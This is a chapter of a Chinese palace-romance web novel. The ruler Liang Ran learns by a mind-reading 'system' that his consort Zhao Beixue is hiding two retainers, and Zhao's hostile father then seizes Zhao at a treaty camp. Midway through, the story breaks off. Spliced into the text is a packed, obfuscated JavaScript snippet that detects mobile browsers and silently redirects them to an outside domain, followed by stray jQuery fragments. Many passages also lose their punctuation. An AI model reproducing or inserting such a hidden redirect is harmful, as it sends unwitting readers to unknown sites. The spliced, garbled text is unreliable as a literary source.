第50章

作品:《为何寡人会怀孕!

    北赵的天子赵寤,也便是赵悲雪的亲生父亲想见赵悲雪一面。


    赵悲雪眯着眼睛


    “主上?”鬻棠见他一直不语,出声提醒。


    自古以来,天子想见臣子,是没有人可以拒绝的,尤其这个天子还是赵悲雪的父亲。更何况……鬻棠担心的看着赵悲雪,更何况,主上还有不得不听命于天子的缘由。


    赵悲雪终于回过神来,他淡淡的说:“你们回去禀报便说梁人军营看管的严格,我一时抽不开身。”


    “主上!”鬻棠着急的说:“您不去见天子?这……这万万不可啊没有人可以拒绝天子,若是惹得天子不快,主上您就麻烦了更何况,主上您的性命还捏在天子手中倘或不从命那……”


    他的话还未说完赵悲雪已然抬起手来阻止了鬻棠的言辞说:“按我说的去回话。”


    “可……”鬻棠还想据理力争。


    赵悲雪冷冷的说:“怎么,谁是主上?难道你连我的命令也不听了么?”


    “卑职不敢!”鬻棠拱手垂头。


    但他还想劝阻,看得出来十足担心。一直没有说话的沐森抬起手来,按在鬻棠的肩头,朝他摇了摇头。


    赵悲雪说:“营地守卫森严你们快走罢不要被发现。”


    鬻棠与沐森拱手说:“是。”


    鬻棠欲言又止最后只是说:“主上您多多保重。”


    赵悲雪点点头挥了一下手两个亲信很快消失在树林之间……


    *


    奸夫?


    梁苒的眼皮一跳儿子的这个言辞还真是新颖。


    梁缨一脸尴尬连忙摇手说:“不是奸夫不是奸夫!”


    “怎么不是奸夫?”梁泮说:“鬼鬼祟祟的见不得人的需要背地里见面的还要跑到小树林儿去哥哥你说这不是奸夫是什么?”


    “这……那个……”梁缨是分辩不过梁泮的愈发的觉得梁泮说的有道理被梁泮这么一说还真像是小树林会奸夫可……


    梁苒蹙眉说:“具体怎么回事?”


    梁缨赶紧把事情的原貌说了一遍其实梁泮说的大体没错只是把亲信化成奸夫。


    梁缨说:“君父与父亲见面的二人应当是他的亲信我发现这二人一直偷偷的跟随着扈行队伍。”


    梁缨的武艺很厉害日前上山营救梁泮的时候梁缨便感觉到了有人一路跟着他们虽然极力掩藏行踪但还是被梁缨发现了。当时他不能确定是什么人也不能确定是敌是友而如今赵悲雪与两个亲信见面被梁泮无意间发现梁缨悄悄跟了上去终于看到了那二


    人。


    梁苒眯起眼睛说:“果然赵悲雪并不简单。”


    上辈子可以一举称皇的人且是一个杀掉自己亲生父亲弑君上位的人哪里能是个简单的货色?


    梁苒一直觉得这辈子的赵悲雪过于乖巧了过于简单了总觉的哪里不对劲如今这么一看还真是不对劲。


    三个人正在说话梁缨突然低声说:“父亲回来了。”


    果然赵悲雪从外面走进来。梁泮黑亮的眼眸中立刻闪烁着光芒一脸看好戏乐子人的模样。梁缨头疼不已揉了揉额角弟弟什么都好就是太爱看热闹了


    梁缨拉住弟弟的手说:“君上臣便先告退了。”


    “诶?”梁泮还想旁观好戏结果却被哥哥强硬的拉走出了门还在说:“哥哥你拉泮儿做什么?哥哥……”


    梁泮撒娇不想离开出了御营大帐还想回头偷看梁缨无奈之下一把将弟弟扛起来单手扛在肩头标准的抗麻袋动作。


    “啊!”梁泮惊呼一声连忙揪住梁缨的衣襟以免掉下去:“哥哥你做什么?快放泮儿下来了好晕要……要吐了。”


    梁缨感觉这个时候的弟弟最听话挂在肩膀上哪里也跑不了终于是找到法子制住弟弟了笑着说:“泮儿别着急随哥哥回去便把你放下来。”


    “哥哥……”梁泮踢着腿但他那纤细的身材根本无法与梁缨抗衡轻轻捶了梁缨背后好几下梁缨的脊背上都是肌肉捶也捶不动再者他也不敢真的用力万一打坏了梁缨怎么办。


    于是梁泮好似一只小鸡仔乖乖儿的被梁缨扛走了。


    梁苒上下打量着赵悲雪他的面色如常平日里便少言寡语今日也不看例外。


    梁苒挑眉试探的说:“去何处了?”


    赵悲雪稍微迟疑了一下说:“我去幕府大帐接君上了不过似乎是与君上走岔了便赶回来了。”


    “哦?”说谎。


    梁苒的眼神立刻变得冰冷赵悲雪是寡人的狗却对着寡人说谎这像话么?


    叮——


    【2级系统功能:耳听八方!(每日可开启特殊功能1次)】


    【赵悲雪:还是暂时不要让阿苒知晓棠和沐森二人。】


    很好梁苒甚至不需要再问就连赵悲雪去见的二人的名字系统已然显示的一清二楚。


    梁苒的眼神冷飕飕轻飘飘淡淡的看了一眼赵悲雪寡人的狗长本事了现在学会骗人了往后里那还了得?说不定还会咬寡人一口。


    梁苒转过身去不再看赵悲雪说:“还有旁的要说的么?”


    赵


    悲雪一愣,敏锐的察觉到梁苒好似生气了,但他不知为何梁苒会动怒,难道……


    难道梁苒发现自己在说谎,自己不是去接他,而是去见了亲信?


    可赵悲雪转念一想,鬻棠和沐森的武艺出众,应当不会被发现才对,他一个质子,带着亲信在大梁的地界之内活动,多少会被人诟病,还是暂时保密的好。


    赵悲雪说:“没有了。


    “没有?梁苒点点头,没有任何语气:“好,那你可以退下了。


    赵悲雪说:“我想留在这里伏侍君上。


    昨日里的二人险些鸳鸯浴,梁苒突然不舒服,这才被打断,今日梁苒气色不错,赵悲雪本以为可以继续昨日的欢愉,没成想……


    梁苒笑了一声,似乎觉得赵悲雪说了很好笑的言辞,说:“你想?


    他转过身来,眼神凉冰冰的说:“你想便可以留下来么?寡人应允了么?今日之内,寡人都不想再看到你,滚出去。


    赵悲雪的面容划过一丝吃惊,他很少露出这样的表情,一向都是冷淡淡的,甚至有些厌世,没有太多的变化。


    赵悲雪张了张口,他发觉梁苒真的生气了,可是他不知为何梁苒会生气。


    最后赵悲雪没有说话,点点头,从御营大帐之中退了出去。


    赵悲雪退出去之后,并没有回自己的营帐,而是站在不远不近的地方,一直凝视着御营大帐,生怕梁苒会吩咐自己去做什么事情。


    很快,新上任的大宗伯嬴稚便被召了过来,走入营帐之中。


    “臣嬴稚,拜见天子。


    “起身罢。


    嬴稚谢恩之后站直身体,敏锐的察觉到,今日的天子情绪不佳,不,不能说是不佳,合该说是差到了极点,嬴稚以前从未见过梁苒这个模样。


    他静静的等着梁苒的吩咐,梁苒果然开口了,说:“你去给寡人查查两个人,一个唤作鬻棠,一个唤作沐森。


    “鬻?嬴稚立刻抓住了重点。


    无错,鬻氏乃是北赵的大宗族,除了北赵,鲜少有其他地方的人会用这个姓氏,所以嬴稚乍一听,便觉得这件事情与北赵有干系,


    梁苒点点头,这二人便是方才梁苒用系统的读心术,从赵悲雪心窍之中窥看到的两个人名。


    “嬴卿果然敏锐,这二人都是北赵的人,且……他们应当与赵悲雪关系甚笃。


    嬴稚微微蹙眉,不由想到在方才在营帐之外碰到赵悲雪,赵悲雪的脸色阴沉,竟然没有在营帐中侍奉,又见到梁苒的脸色同样不好看,兴许是产生了什么隔阂罅隙。


    嬴稚是个善于观察之人,同样善于观察旁人的脸色,明智的什么也没有问,拱手说:“是,臣这就去查


    。”


    梁苒点点头:“若有分毫,立刻回禀。”


    “臣敬诺。”


    嬴稚答应之后,便离开了御营大帐,一出门,赵悲雪果然还站在不远不近的地方,他的目光幽幽的凝视着营帐。


    哗啦——帐帘子再次打起,梁苒从里面走出来。


    赵悲雪的眼神立刻明亮起来,踏上半步,想要去迎梁苒,但梁苒根本不看他一眼,目光分明扫在了他的身上,一下掠过去,好似赵悲雪这个大一个人,只是一团空气罢了。


    梁苒并没有搭理赵悲雪,从他身边施施然走过,只留给赵悲雪一个冰冷的背影……


    第二日一大早,罗东陵便准收拾整顿,离开大营,缤纷两路,先一步前往燕洄埋伏。


    除了罗东陵的队伍之外,梁苒还让他把北赵的大皇子赵炀,并着那些北赵俘虏带上,这些可都是底牌,不能过早的露出来。


    今日梁苒会亲自前往践行,赵悲雪半日没有见到梁苒,知晓他今日会到营门来,因此早早的洗漱更衣,望夫石一样守在营门口,比出发的罗东陵来的还早。


    “哎呦!”罗东陵走过来,扛着大锤:“你这脸色可不好啊,怎么?是不是昨夜被天子赶出来了?”


    赵悲雪冷冷的看了他一眼,的确,他被赶出来了,但不是昨夜,若是夜里被赶出来也算是好事儿了。


    罗东陵笑起来:“你是不是不太行?被天子嫌弃了?无妨无妨,我可以替补你。”


    赵悲雪的眼神更加冰冷,就在此时,他看到了梁苒的身影,从远处款款走来。


    “君上!”赵悲雪立刻抛弃了与罗东陵斗嘴,快速迎上去。


    梁苒淡淡的看了一眼赵悲雪,说:“经过一晚上,你可有话要对寡人说了?”


    赵悲雪点点头。


    梁苒挑眉,说:“讲罢。”


    赵悲雪拉住梁苒的袖子一角,轻声说:“君上,是我错了。”


    梁苒问:“哦?你错在何处?”


    赵悲雪一时间却答不上来,说:“君上觉得我哪里有错,我便哪里有错。”


    他的眼神十足诚恳,那双狼目变成了小狗眼,眼巴巴的盯着梁苒,梁苒却不会心软,好笑的说:“那寡人觉得赵皇子你没有错,何错之有呢?”


    说完,直接拨开赵悲雪走过去。


    赵悲雪欲言欲止,望着梁苒的背影,罗东陵已然跑过来:“君上!你是来给我践行的么?”


    梁苒收敛了怒容,微微一笑,说:“罗王子肩负重任,虽然是偷袭,但北赵狡诈,罗王子还是谨慎一些,万事小心。”


    “嗯嗯!”罗东陵使劲点头说:“你放心好了,再说了,还有老宁呢!”


    老宁自然说的是宁愚,宁愚的年岁比他大


    一些,但也不至于说老,罗东陵只是随口唤习惯了。


    赵悲雪对宁愚一笑,说:“有劳宁军师了。”


    宁愚拱手:“君上言重了,我家主子是个不着调的,君上还肯委以重任,宁愚自当竭尽全力。”


    “诶?!”罗东陵笑容僵硬,转头瞪着宁愚,说:“谁不着调?谁不着调!”


    叮——


    【争风吃醋+好感度20】


    【赵悲雪:255】


    赵悲雪在一边看着,梁苒与二人谈笑风生,有说有笑,面容不似方才对着他那般冷硬,反而十足放松,或许是赵悲雪的目光实在太专注力,梁苒回过头来看了他一眼,脸上的笑容好像结冰的湖面,瞬间冰封千里,不见了半点子笑意,但一转过头去,立刻又染上了笑意,完全是凛冽寒冬和春日融融的差别。


    梁泮用手指轻轻点了点梁缨,示意梁缨俯下身来,梁缨的身材实在太高大了,梁泮想要与他说悄悄话都是不能。


    梁缨微微俯身,低下头来,梁泮便拢着手与梁缨咬耳朵,用极低极低的声音说:“哥哥,君父好像在与父亲冷战,因为父亲隐瞒了那两个奸夫的事情。”


    便算是梁缨有时候迟钝,他也能感觉到,君父的确在与父亲冷战,因为那两个奸夫……


    他想到此处,表情一僵,不对不对,什么奸夫?差点子被弟弟给带到沟里去,爬都爬不上来,不是奸夫,是两个亲信。


    梁缨揉着梆梆跳动的额角,无奈的说:“大人的事情,小孩子不要瞎管。”


    梁泮不赞同的蹙眉,插着纤细的腰肢,昂首挺胸,甚至微微嘟起嘴唇,说:“哥哥,泮儿不是小孩子了,再者说了,哥哥也没比泮儿大多少。”


    梁缨险些被他逗笑,还说不是小孩子,弟弟嘟嘴的模样,真真儿和宝宝的样子一模一样,一个模子刻出来。


    他没忍住,轻轻捏了捏梁泮的脸颊,软软的,细腻又光滑,完全吹弹可破。


    梁泮一愣,捂住自己的脸:“不要捏。”


    梁苒那面践行完毕,便看到儿子们正在嬉闹,他走过来,趁着梁泮控诉哥哥捏他的时候,梁苒抬起手来,也顺道捏了捏梁泮的小脸蛋儿。


    梁泮:“……”


    梁缨笑起来:“君父,手感是不是甚好?”


    梁苒点点头,给出了最大的肯定,说:“滑嫩如圆子,若是能咬一口更好了。”


    梁泮改为双手捂住自己的面颊。


    梁苒与儿子们这么一闹,将烦心的事情忘在了脑后,赵悲雪便不同了,他站在一旁,好似一尊山石,就那样定定的看着梁苒,梁苒走到哪里,他便看到哪里,直到梁苒带和两个儿子进了御营大帐,看不见了,赵悲雪仍然站在那里


    。


    罗东陵出发之后,翌日扈行大军也要出发了,继续往燕洄而去,这里距离燕洄不算太远,没几日便抵达了会盟大营。


    会盟大营提前扎好,筑坛完毕,一切都准备就绪,只等梁苒的大梁使团,还有北赵的使团入驻。


    这一路上,梁苒几乎没有与赵悲雪说一句话,更加不会让他参乘,都是梁缨和梁泮上车参乘,臣子们看在眼中,简直是众说纷纭。


    有人说赵悲雪失宠了,毕竟那个唤作梁泮的小君子,生得实在太过美貌,天上仅有,地下绝无,而且能说会道,便是连新上任的大宗伯,都对他和和气气另眼相看。


    也有人说,是因着燕洄会盟,北赵定然会耍手段,玩花样,赵悲雪乃是北赵送来的质子,那本质便是北赵人,非我族来,其心必异,自然要敬而远之。


    入了会盟大营,梁苒堪堪从辒辌车中出来,还未走下来,赵悲雪立刻迎上,伸出手想要扶他。梁苒只是淡淡的看了一眼,并没有将手放上去,而是放在一旁的梁缨手心中,被梁缨扶着下了辒辌车。


    梁缨头皮发麻,压力甚大,他似乎感觉到了,父亲在瞪自己,绝对无错。


    叮——


    【争风吃醋+好感度20】


    【赵悲雪:275】


    “君上……赵悲雪走过来,说:“我有话,想要与君上说。


    梁苒挑眉:“哦?今日赵皇子又有什么想说的?若是可有可无的道歉,寡人可没有这个功夫与赵皇子闲扯。


    赵悲雪这几日左思右想,他实在不知梁苒为何生气,但他并不是个傻的,而且极其聪敏。赵悲雪仔细思索了一阵子,他发现那日见过两个亲信之后,梁苒便突然动怒,让自己滚出去,虽赵悲雪不知自己何时露馅,但兴许便是露馅了。


    他身边带着亲信,隐瞒梁苒的事情,应是被发现了。


    赵悲雪打算找梁苒坦白,鬻棠和沐森是他身边的老人,一直追随着赵悲雪,赵悲雪带他们来大梁,也并非用心不纯。只是当时,身为一个质子,还是一个天扫星,赵悲雪不知自己入梁之后,还有没有活路,在见到那个“白衣小君子之前,赵悲雪不想死,即使是像一具行尸走肉,即使是像一只狗,他也要活下去,直到见到那个,令他心心念念的“白衣小君子。


    赵悲雪深深的凝视着梁苒,这便是让他惦念多年之人,无论如何,赵悲雪也要留在他的身边。


    赵悲雪说:“是重要之事。


    梁苒轻轻的冷哼了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050391|166211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声,说:“快讲,寡人可没有那么多功夫。


    赵悲雪立刻开口:“君上,其实我……


    他的话说到这里,“哈哈哈哈——一连串大笑声震耳欲聋,


    远处尘土飞扬,骏马飒沓着黄土,牵引着一辆轺车风驰电掣而来。


    轺车没有车门,也没有车厢,便是敞篷的马车,中间立着伞柱,顶上是一个巨大的旒苏伞盖,一个身着龙袍的魁梧男子站在轺车之上,一手扶着伞柱,一手按着腰间的佩刀。


    轺车后面跟随着无数配备精良的铁骑,快速奔至会盟大营门口,直接打断了赵悲雪的坦白。


    是赵寤!


    赵悲雪藏在袖袍之下的双手攥拳,指甲掐在掌心,他的剑眉压住眼目,一双锐利的眼眸微微垂下,反顾三白,完全便是一头警戒的野狼。


    “哈哈哈!!赵主赵寤一路大笑,轺车在营地门口停下,他高大的身躯跃下轺车,咚一声,地面都连带着震颤起来。


    怪不得赵悲雪身材高大,原来他的父亲赵寤便是如此极其高大的体格,犹如一座山一般,毫不夸张的说,赵寤的一条胳膊,甚至是小臂,都比梁苒的大腿还要粗!


    他的身上盘踞着纠结的肌肉,脸上留着络腮胡,面容狰狞挂相,即使是在笑,眉眼中也透露出狠戾的算计,仿佛随时将谁撕成碎渣,化为齑粉。


    赵寤一连串大笑,走过来:“梁主!梁主!是寡人来迟了!寡人给梁主赔个不是!


    赵寤似乎有些自来熟,他走过来,伸手要拍梁苒的肩膀,梁苒微微蹙眉,立刻后撤半步,他与赵寤可不是见了面,熟悉到拍拍肩膀的多年老友。


    赵寤动手落了空,没有碰到梁苒,却不觉得尴尬,反而笑起来,上上下下的打量梁苒,不像是在看一个一国之君,反而像是在看一件器物,甚至是一件瓷器。


    “嗯!


    赵寤的笑容透露着狰狞:“只可惜,当年你的父亲去的早啊,不然的话,我们还能再斗上几十年!哎——这样说起来,梁主你还要感谢寡人呢,若不是寡人,你这会子还在当皇子,如何能登上大宝,坐上这梁国的龙座啊?


    赵寤完全便是找茬儿,他的话里带着刺儿,别说来参加会盟的臣子,都是朝中的骨干之臣,便是不长耳朵的聋子,这会子都要听出不对劲儿了。


    梁苒面容微微一动,只是冷笑:“赵主远道而来,这一路必然劳顿了罢,今日先行歇息,明日再开始正式会盟,如何?


    “哈哈哈哈!赵寤说:“你们这些梁人啊,就是娇贵,这叫什么劳顿?罢了罢了,既然梁主盛情,那今日便歇息罢!


    梁苒忍耐着怒气,说:“来人,为赵主导路。


    赵寤却说:“诶?远来是客,梁主是不是该尽一尽地主之谊,亲自为寡人导路呢


    ?”


    他说着又要去摸梁苒的肩膀森森然的露出一口锋利的牙齿眼珠子在眼眶中来回打转十足的不怀好意。


    梁苒后退躲闪哪知赵寤留了一个心眼儿他方才没有摸到梁苒这一下子竟然是虚晃就等着梁苒后退赵寤立刻抬起另外一手伸手一捞竟是要当着众目睽睽之下调戏大梁的一国之君。


    啪!!


    一声脆响有人动作迅捷一把挡开赵寤的手没有叫他碰到梁苒甚至是一片衣服角。


    ——是赵悲雪!


    赵悲雪还保持着抬手的动作赵寤的脸色刷的落下来他的眼睛里仿佛有火狠狠的瞪着赵悲雪阴森森的说:“这不是我儿么?我的好、儿、子。”


    赵寤又说:“怎么?见到君父都不会作礼了?你的礼仪都喂到狗肚子里去了?”


    赵悲雪慢慢放下手他的脸面毫无表情抱拳作礼:“拜见国君。”


    他口称国君根本不称君父。


    “没规没据的东西!”赵寤显然看不上赵悲雪啐骂:“**生得贱种果然上不得台面。”


    梁苒心中陡然升起一股业火赵悲雪如今是寡人的狗便是家养的狗打狗还要看主人赵寤凭什么辱骂的如此难听?


    梁苒冷嗤一声说:“北赵的风俗还真是古怪呢一国之君一开口便是贱啊种啊果然与我们大梁这等中国是不一样的。”


    梁苒口中的中国乃是中心之国。大梁的国土正好在中心位置旁边围绕着很多小国至于北赵更加偏北一些。诸国都以大梁为礼仪正统之邦争相效仿大梁的礼制北赵也不例外这些年依样画葫芦的抄了很多去。


    赵寤的脸色瞬间难看他没想到梁苒看起来年纪轻轻一副温温柔柔的模样说话也软绵绵的竟是个牙尖嘴利的主儿?


    赵寤怒极反而哈哈笑起来:“好好好!好一个梁主你不如你父亲健壮


    他一甩袖袍便要离开临走之时突然站定回过头来冷冷地凝视着赵悲雪。


    赵寤的唇角划开一丝狰狞的笑容说:“梁主寡人与儿子许久都不曾见面如今好不容易得见赵主不会小气到不让寡人见见儿子罢?”


    梁苒瞥了一眼赵悲雪赵寤哪里是想念儿子他的言辞里都是狠毒分明是记恨方才赵悲雪出手阻拦所以这会子想要将赵悲雪带回去教训。


    赵悲雪低着头一言不发他似乎早已对此**以为常并不在意赵寤的言辞。


    梁苒刚要拒绝赵寤赵寤抢先说:“怎么?大梁


    乃礼仪之邦,梁主更是大梁的楷模,如今寡人想要见一见分别已久的亲生儿子,梁主怎么有忍心拒绝的道理?


    梁苒眯了眯眼睛,赵寤挥手说:“来啊,把寡人的好儿子请回去,寡人与儿子许久未见,甚是想念,这就好好儿的叙叙旧,等叙完了旧,再把他送回去不迟。


    赵寤已然把梁苒的话头全都堵死,梁苒也没有办法,毕竟赵寤乃是赵悲雪的父亲,这一点子毋容置疑,梁苒便算是再霸道,也不能阻止一个父亲见他的孩子。


    两个北赵的武士上前,拱手说:“是!


    两个人一左一右架住赵悲雪,哪里是招待皇子的模样,分明是看守犯人,甚至连犯人都不如,直接将赵悲雪带走。


    赵悲雪自始至终没有说话,只是离去之时,轻轻的看了梁苒一眼,那眼神淡淡的,蕴藏着**以为然的平静,那种平静仿佛焚烧的灰烬,燃尽了沧桑。


    梁苒眼睁睁看着赵悲雪被带走,似乎是有些不甘心,抿了抿嘴唇。嬴稚上前拱手说:“君上,赵主来者不善,此次会盟绝对不会风平浪静,若现在为了赵皇子与赵主撕开脸皮,那会盟便什么也不必谈了。


    嬴稚说的对,他们还有后续计划,现在必须以大局为重。


    梁缨焦急的说:“可是赵皇子……


    父亲被带走了,赵寤那一副心狠手辣的模样,完全不像是叙旧。


    嬴稚说:“齐王安心,赵皇子如今的身份,可不只是北赵的皇子,还有一层质子的身份在其中,北赵绝不会让质子在会盟营地出事,至少……


    嬴稚沉声说:“赵皇子不会有性命之忧。


    赵悲雪被带入北赵的御营大帐之中。会盟营地分为南北,南面是大梁的营地,北面则是北赵的营地,其中虽然没有辕门挡格,但是划分界限,各自有兵马把守。两边表面是来会盟的,但大梁与北赵向来水火不容,大家也各自带了精锐,不怕一万只怕万一。


    “君上!武士禀报:“四皇子带到。


    赵寤并没有立刻搭理赵悲雪,而是对一个身着官袍的男子说:“炀儿还没有寻到么?


    那身着官袍的男子大抵三十来岁,他的面容清雅娟丽,乍一看还以为是女扮男装的小娘子,完全是一副男身女相的模样,虽然已经不算年轻,一笑起来唇角浮现出淡淡的纹路,但并没有削弱他的姿仪,反而平添了一些别样的丰韵。


    清雅的男子笑起来,笑容却带着一丝丝精明与算计,一看便是不太好相与之人。


    此人正是北赵的当朝国相——闻彦之。


    论起北赵,赵氏自然是第一大氏族,其次便是鬻氏,而闻氏在五年前还是个没落的小氏族,如今已然轰